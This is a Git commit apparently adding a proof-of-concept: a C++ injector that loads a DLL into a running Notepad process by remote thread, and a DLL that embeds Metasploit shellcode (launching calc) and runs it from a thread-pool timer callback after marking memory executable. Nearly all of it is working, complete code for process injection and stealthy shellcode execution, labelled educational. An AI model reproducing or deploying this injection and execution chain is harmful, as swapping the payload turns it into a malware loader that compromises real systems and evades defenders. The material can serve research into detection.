Add files via upload

This commit is contained in:
Andrea Bocchetti
2025-07-16 17:43:43 +02:00
committed by GitHub
parent 1e6383a339
commit e8e56764ed
4 changed files with 347 additions and 0 deletions
+177
View File
@@ -0,0 +1,177 @@
// Injector.cpp - Main injection
#include <Windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <string>
// Function to find process by name
DWORD GetProcessIdByName(const std::wstring& processName) {
DWORD processId = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
processId = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return processId;
}
// Function to inject DLL into target process
BOOL InjectDLL(DWORD processId, const std::wstring& dllPath) {
std::wcout << L"[>] Starting DLL injection into PID: " << processId << std::endl;
// Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (!hProcess) {
std::wcout << L"[-] Failed to open process. Error: " << GetLastError() << std::endl;
return FALSE;
}
// Calculate DLL path size
SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t);
// Allocate memory in target process
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, dllPathSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMemory) {
std::wcout << L"[-] Failed to allocate memory in target process. Error: " << GetLastError() << std::endl;
CloseHandle(hProcess);
return FALSE;
}
std::wcout << L"[+] Allocated memory in target process: 0x" << std::hex << remoteMemory << std::dec << std::endl;
// Write DLL path to target process
if (!WriteProcessMemory(hProcess, remoteMemory, dllPath.c_str(), dllPathSize, NULL)) {
std::wcout << L"[-] Failed to write DLL path to target process. Error: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::wcout << L"[+] DLL path written to target process" << std::endl;
// Get LoadLibraryW address
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
FARPROC pLoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW");
if (!pLoadLibraryW) {
std::wcout << L"[-] Failed to get LoadLibraryW address" << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// Create remote thread to load DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibraryW,
remoteMemory, 0, NULL);
if (!hThread) {
std::wcout << L"[-] Failed to create remote thread. Error: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::wcout << L"[+] Remote thread created successfully" << std::endl;
// Wait for DLL to load
WaitForSingleObject(hThread, INFINITE);
// Check if DLL was loaded successfully
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
if (exitCode != 0) {
std::wcout << L"[+] DLL loaded successfully in target process" << std::endl;
}
else {
std::wcout << L"[-] DLL failed to load in target process" << std::endl;
}
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return (exitCode != 0);
}
// Function to get executable directory (where the .exe is located)
std::wstring GetExecutableDir() {
wchar_t buffer[MAX_PATH];
GetModuleFileName(NULL, buffer, MAX_PATH);
std::wstring exePath(buffer);
// Find last backslash and remove filename
size_t pos = exePath.find_last_of(L"\\");
if (pos != std::wstring::npos) {
exePath = exePath.substr(0, pos);
}
return exePath;
}
bool FileExists(const std::wstring& filePath) {
DWORD fileAttributes = GetFileAttributes(filePath.c_str());
return (fileAttributes != INVALID_FILE_ATTRIBUTES);
}
int main() {
std::wcout << L"=== DLL + Timer Injection PoC ===" << std::endl;
std::wcout << L"Educational/Research Purpose Only" << std::endl << std::endl;
std::wstring targetProcess = L"Notepad.exe";
std::wstring dllName = L"TimerDLL.dll";
std::wstring executableDir = GetExecutableDir();
std::wstring dllPath = executableDir + L"\\" + dllName;
std::wcout << L"[>] Target process: " << targetProcess << std::endl;
std::wcout << L"[>] DLL path: " << dllPath << std::endl;
if (!FileExists(dllPath)) {
std::wcout << L"[-] " << dllName << L" not found in current directory" << std::endl;
std::wcout << L"[-] Please compile " << dllName << L" first" << std::endl;
std::wcout << L"[>] Press Enter to exit..." << std::endl;
std::wcin.get();
return -1;
}
// Find target process
DWORD processId = GetProcessIdByName(targetProcess);
if (processId == 0) {
std::wcout << L"[-] Target process not found. Please start " << targetProcess << L" first" << std::endl;
std::wcout << L"[>] Press Enter to exit..." << std::endl;
std::wcin.get();
return -1;
}
std::wcout << L"[+] Found target process PID: " << processId << std::endl;
// Inject DLL
if (InjectDLL(processId, dllPath)) {
std::wcout << L"[+] Injection completed successfully" << std::endl;
std::wcout << L"[+] Timer-based execution should occur in target process" << std::endl;
std::wcout << L"[+] Check C:\\temp\\timer_log.txt for execution logs" << std::endl;
std::wcout << L"[+] Calculator should appear in ~3 seconds" << std::endl;
}
else {
std::wcout << L"[-] Injection failed" << std::endl;
}
std::wcout << L"[>] Press Enter to exit..." << std::endl;
std::wcin.get();
return 0;
}
Binary file not shown.
BIN
View File
Binary file not shown.
+170
View File
@@ -0,0 +1,170 @@
// TimerDLL.cpp
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <threadpoolapiset.h>
// Metasploit calc.exe shellcode (for demonstration)
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
PTP_TIMER g_timer = NULL;
PVOID g_execMemory = NULL;
void LogMessage(const char* message) {
HANDLE hFile = CreateFile(L"C:\\temp\\timer_log.txt", GENERIC_WRITE, 0, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
SetFilePointer(hFile, 0, NULL, FILE_END);
SYSTEMTIME st;
GetSystemTime(&st);
char timestampedMsg[512];
sprintf_s(timestampedMsg, sizeof(timestampedMsg),
"[%02d:%02d:%02d.%03d] %s\n",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, message);
DWORD bytesWritten;
WriteFile(hFile, timestampedMsg, strlen(timestampedMsg), &bytesWritten, NULL);
CloseHandle(hFile);
}
}
// Timer callback function - This is where the novel technique executes
VOID CALLBACK TimerCallback(PTP_CALLBACK_INSTANCE instance, PVOID context, PTP_TIMER timer) {
// Get the current process ID and thread ID for logging
DWORD processId = GetCurrentProcessId();
DWORD threadId = GetCurrentThreadId();
char logMessage[256];
sprintf_s(logMessage, sizeof(logMessage),
"Timer callback fired! PID: %lu, TID: %lu, Context: 0x%p",
processId, threadId, context);
LogMessage(logMessage);
// Change memory protection to executable
DWORD oldProtect;
if (VirtualProtect(context, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
LogMessage("Memory protection changed to executable");
// Execute shellcode
LogMessage("Executing shellcode via timer callback...");
((void(*)())context)();
LogMessage("Shellcode execution completed successfully");
}
else {
char errorMsg[128];
sprintf_s(errorMsg, sizeof(errorMsg),
"Failed to change memory protection. Error: %lu", GetLastError());
LogMessage(errorMsg);
}
}
// Function to set up timer-based execution
BOOL SetupTimerExecution() {
LogMessage("Setting up timer-based execution...");
// Allocate memory for shellcode
g_execMemory = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!g_execMemory) {
LogMessage("Failed to allocate memory for shellcode");
return FALSE;
}
char memMsg[128];
sprintf_s(memMsg, sizeof(memMsg), "Allocated memory at: 0x%p", g_execMemory);
LogMessage(memMsg);
// Copy shellcode to allocated memory
memcpy(g_execMemory, shellcode, sizeof(shellcode));
LogMessage("Shellcode copied to allocated memory");
// Initialize thread pool callback environment
TP_CALLBACK_ENVIRON callbackEnv;
InitializeThreadpoolEnvironment(&callbackEnv);
LogMessage("Thread pool callback environment initialized");
// Create thread pool timer - This is the core of the novel technique
g_timer = CreateThreadpoolTimer(TimerCallback, g_execMemory, &callbackEnv);
if (!g_timer) {
LogMessage("Failed to create thread pool timer");
VirtualFree(g_execMemory, 0, MEM_RELEASE);
return FALSE;
}
LogMessage("Thread pool timer created successfully");
// Set timer to fire after 3 seconds (for demonstration)
FILETIME dueTime;
ULONGLONG delay = (ULONGLONG)-(3 * 10000000LL); // 3 seconds
dueTime.dwHighDateTime = (DWORD)(delay >> 32);
dueTime.dwLowDateTime = (DWORD)(delay & 0xFFFFFFFF);
SetThreadpoolTimer(g_timer, &dueTime, 0, 0);
LogMessage("Timer set to fire in 3 seconds");
return TRUE;
}
// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
// Create directory for logging
CreateDirectory(L"C:\\temp", NULL);
// Log DLL injection
char injectionMsg[256];
sprintf_s(injectionMsg, sizeof(injectionMsg),
"TimerDLL.dll injected into process PID: %lu", GetCurrentProcessId());
LogMessage(injectionMsg);
// Set up timer-based execution
if (SetupTimerExecution()) {
LogMessage("Timer-based execution setup completed successfully");
}
else {
LogMessage("Failed to setup timer-based execution");
}
break;
case DLL_PROCESS_DETACH:
LogMessage("DLL_PROCESS_DETACH - Cleaning up resources");
if (g_timer) {
CloseThreadpoolTimer(g_timer);
g_timer = NULL;
}
if (g_execMemory) {
VirtualFree(g_execMemory, 0, MEM_RELEASE);
g_execMemory = NULL;
}
LogMessage("Cleanup completed");
break;
}
return TRUE;
}